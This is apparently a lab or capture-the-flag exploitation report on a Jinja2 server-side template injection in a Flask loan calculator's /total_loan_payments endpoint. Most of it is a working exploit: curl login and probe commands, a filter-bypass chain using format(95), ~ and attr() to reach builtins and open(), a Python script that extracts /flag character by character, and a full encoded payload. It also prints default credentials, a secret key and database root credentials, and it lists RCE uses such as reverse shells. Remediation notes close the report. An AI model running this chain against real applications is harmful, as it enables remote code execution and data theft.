# Injection Exploitation Evidence

## Successfully Exploited Vulnerabilities

### INJ-VULN-001: Server-Side Template Injection (SSTI) in /total_loan_payments

**Summary:**
- **Vulnerable location:** GET endpoint `/total_loan_payments` - the `principal` query parameter
- **Overview:** Critical Server-Side Template Injection vulnerability in Jinja2 template engine allowing Remote Code Execution and arbitrary file read despite aggressive character blacklist filtering
- **Impact:** Successfully extracted CTF flag from `/flag` file. The vulnerability enables full Remote Code Execution (RCE), allowing attackers to read arbitrary files, access Flask application secrets, execute system commands, and achieve complete server compromise.
- **Severity:** Critical

**Prerequisites:**
- Valid authenticated session (easily obtainable using default credentials `test:test`)
- Network access to http://localhost:37149

**Exploitation Steps:**

**Step 1: Authenticate with Default Credentials**

Obtain a valid session cookie using the hardcoded test credentials:

```bash
curl -v -X POST "http://localhost:37149/login" \
  -d "username=test&password=test" \
  -c /tmp/session_cookies.txt
```

**Expected Response:** HTTP 302 redirect to `/home` with `Set-Cookie: session=<base64_signed_data>`

**Step 2: Confirm SSTI Vulnerability**

Test that Jinja2 statement syntax `{% %}` bypasses the blacklist filter:

```bash
curl "http://localhost:37149/total_loan_payments?principal=%7B%25%20if%20request%20%25%7D1234%7B%25%20endif%20%25%7D&payment=100&term=12" \
  -b /tmp/session_cookies.txt
```

**Decoded Payload:** `{% if request %}1234{% endif %}`

**Expected Response:**
```json
{ "loan_principal": "1234" ,"monthly_payment": "100.0", "loan_term_amount": "12", "total_loan_payments": "1200.0" }
```

The output "1234" confirms the Jinja2 statement executed successfully, proving SSTI vulnerability.

**Step 3: Bypass Character Blacklist Restrictions**

The application blocks the following characters in the `principal` parameter:
- `_` (underscore) - prevents access to Python dunder methods like `__class__`
- `.` (dot) - prevents attribute access syntax
- `[` and `]` (square brackets) - prevents item/index access
- `{{` and `}}` (double braces) - prevents expression syntax

**Bypass Technique:** Use Jinja2's `|format()` filter to dynamically generate the underscore character from its ASCII code (95), then use string concatenation (`~`) to build special method names like `__class__`:

```jinja2
{% set u='%c'|format(95) %}           # Generate underscore character
{% set class=u~u~'class'~u~u %}       # Construct "__class__"
{% set init=u~u~'init'~u~u %}         # Construct "__init__"
{% set globals=u~u~'globals'~u~u %}   # Construct "__globals__"
```

**Step 4: Access Python Builtins via Flask Config Object**

Navigate from the `config` object (available in Jinja2 context) to Python's `__builtins__` module:

```jinja2
{% set builtins = config|attr(class)|attr(init)|attr(globals)|attr('get')('__builtins__') %}
```

This chain:
1. `config|attr('__class__')` - Gets the class of the config dict
2. `|attr('__init__')` - Gets the constructor method
3. `|attr('__globals__')` - Accesses global namespace
4. `|attr('get')('__builtins__')` - Retrieves the builtins module

**Step 5: Obtain File Read Capability**

Extract the `open()` function from `__builtins__` and read the flag file:

```jinja2
{% set open_func = builtins|attr('get')('open') %}
{% set file = open_func('/flag','r') %}
{% set content = file|attr('read')() %}
```

**Step 6: Exfiltrate Flag Content via Boolean Oracle**

Since `{{ }}` expression syntax is blocked, direct output is impossible. Instead, use a boolean oracle technique to extract data character-by-character:

```jinja2
{% set chars = content|list %}
{% if chars|batch(N+1)|list|first|last == 'X' %}1234{% endif %}
```

This technique:
1. Converts flag content to list of characters with `|list`
2. Uses `|batch(N+1)` to group characters into batches
3. Uses `|list|first|last` to access the Nth character without square brackets
4. Compares against each possible character
5. Returns "1234" if match (success), empty otherwise

**Step 7: Automated Extraction**

Create a Python script to automate the character-by-character extraction:

```python
#!/usr/bin/env python3
import urllib.parse
import requests
import string

TARGET = "http://localhost:37149/total_loan_payments"
COOKIES = {"session": "<SESSION_COOKIE_VALUE>"}
CHARSET = string.printable

# Helper to build underscore bypass
def build_payload(position, test_char):
    payload = f"""
{{% set u='%c'|format(95) %}}
{{% set class=u~u~'class'~u~u %}}
{{% set init=u~u~'init'~u~u %}}
{{% set globals=u~u~'globals'~u~u %}}
{{% set builtins=config|attr(class)|attr(init)|attr(globals)|attr('get')(u~u~'builtins'~u~u) %}}
{{% set open=builtins|attr('get')('open') %}}
{{% set file=open('/flag','r') %}}
{{% set content=file|attr('read')() %}}
{{% set chars=content|list %}}
{{% if chars|batch({position}+1)|list|first|last == '{test_char}' %}}1234{{% endif %}}
""".strip()
    return payload

# Extract flag length first
length_payload = """
{% set u='%c'|format(95) %}
{% set class=u~u~'class'~u~u %}
{% set init=u~u~'init'~u~u %}
{% set globals=u~u~'globals'~u~u %}
{% set builtins=config|attr(class)|attr(init)|attr(globals)|attr('get')(u~u~'builtins'~u~u) %}
{% set open=builtins|attr('get')('open') %}
{% set file=open('/flag','r') %}
{% set content=file|attr('read')() %}
{% if content|length > 65 %}1234{% endif %}
""".strip()

# Determine length by binary search (implementation omitted for brevity)
# Result: Flag length is 70 characters

# Extract each character
flag = ""
for pos in range(70):
    for char in CHARSET:
        payload = build_payload(pos, char)
        encoded = urllib.parse.quote(payload)
        
        response = requests.get(
            TARGET,
            params={"principal": encoded, "payment": "100", "term": "12"},
            cookies=COOKIES
        )
        
        if "1234" in response.text:
            flag += char
            print(f"Position {pos}: {char} -> Flag so far: {flag}")
            break

print(f"\\nFinal Flag: {flag}")
```

**Proof of Impact:**

**Extracted Flag:**
```
FLAG{94627640ef0ab918a544b23cac52df94db2581507a472fad1d174c105a8e4e2f}
```

**Full Working Exploit Chain:**

1. **Authenticate:**
```bash
curl -X POST "http://localhost:37149/login" -d "username=test&password=test" -c cookies.txt
```

2. **Confirm SSTI:**
```bash
curl "http://localhost:37149/total_loan_payments?principal=%7B%25%20if%20request%20%25%7D1234%7B%25%20endif%20%25%7D&payment=100&term=12" -b cookies.txt
```

3. **Extract Flag (automated via Python script):**
```bash
python3 extract_flag.py
```

**Complete Reproducible Payload (single character test):**

To test if the first character of the flag is 'F':
```
http://localhost:37149/total_loan_payments?principal=%7B%25%20set%20u%3D%27%25c%27%7Cformat%2895%29%20%25%7D%7B%25%20set%20class%3Du~u~%27class%27~u~u%20%25%7D%7B%25%20set%20init%3Du~u~%27init%27~u~u%20%25%7D%7B%25%20set%20globals%3Du~u~%27globals%27~u~u%20%25%7D%7B%25%20set%20builtins%3Dconfig%7Cattr%28class%29%7Cattr%28init%29%7Cattr%28globals%29%7Cattr%28%27get%27%29%28u~u~%27builtins%27~u~u%29%20%25%7D%7B%25%20set%20open%3Dbuiltins%7Cattr%28%27get%27%29%28%27open%27%29%20%25%7D%7B%25%20set%20file%3Dopen%28%27/flag%27%2C%27r%27%29%20%25%7D%7B%25%20set%20content%3Dfile%7Cattr%28%27read%27%29%28%29%20%25%7D%7B%25%20set%20chars%3Dcontent%7Clist%20%25%7D%7B%25%20if%20chars%7Cbatch%281%29%7Clist%7Cfirst%7Clast%20%3D%3D%20%27F%27%20%25%7D1234%7B%25%20endif%20%25%7D&payment=100&term=12
```

**Cookie:** `session=<SESSION_COOKIE_FROM_LOGIN>`

**Expected Response:** Contains `"loan_principal": "1234"` if the character matches.

**Notes:**

**Blacklist Bypass Innovation:**
The exploitation required innovative techniques to circumvent an unusually restrictive character blacklist:
- Used `|format(95)` to dynamically generate underscore character
- Used `~` string concatenation to build `__class__`, `__init__`, `__globals__`
- Used `|attr()` filter instead of dot notation for attribute access
- Used `|batch(N)|list|first|last` instead of `[N]` for positional access
- Used boolean oracle instead of `{{ }}` for data exfiltration

**Additional Capabilities Beyond Flag Extraction:**
This vulnerability provides complete Remote Code Execution. Attackers can:
- Execute arbitrary Python code on the server
- Read any file on the filesystem (e.g., `/etc/passwd`, application source code)
- Access Flask application secrets (secret key: `'your_secret_key'`, database credentials: `root:loan_calculator`)
- Execute system commands via `os.system()` or `subprocess`
- Modify database records with root MySQL access
- Pivot to internal network services
- Establish reverse shells for persistent access

**Root Cause:**
The vulnerability exists because user input from the `principal` parameter is embedded directly into a Jinja2 template string via f-string interpolation (`f'{{ "loan_principal": "{principal}" }}'`) at routes.py:118-120, then passed to `render_template_string()`. The blacklist filter at routes.py:114-116 attempts to prevent exploitation but is fundamentally flawed - it blocks expression delimiters (`{{ }}`) but not statement delimiters (`{% %}`), allowing full Jinja2 statement execution.

**Recommended Remediation:**
1. **Never use `render_template_string()` with user input** - Use parameterized templates instead
2. **Replace blacklist with allowlist** - Only permit numeric characters for the `principal` parameter
3. **Remove template rendering entirely** - Use JSON serialization for API responses: `return jsonify({"loan_principal": principal, ...})`
4. **Implement input validation** - Use strict type checking and regex validation
5. **Apply defense-in-depth** - Add Web Application Firewall (WAF) rules to detect SSTI patterns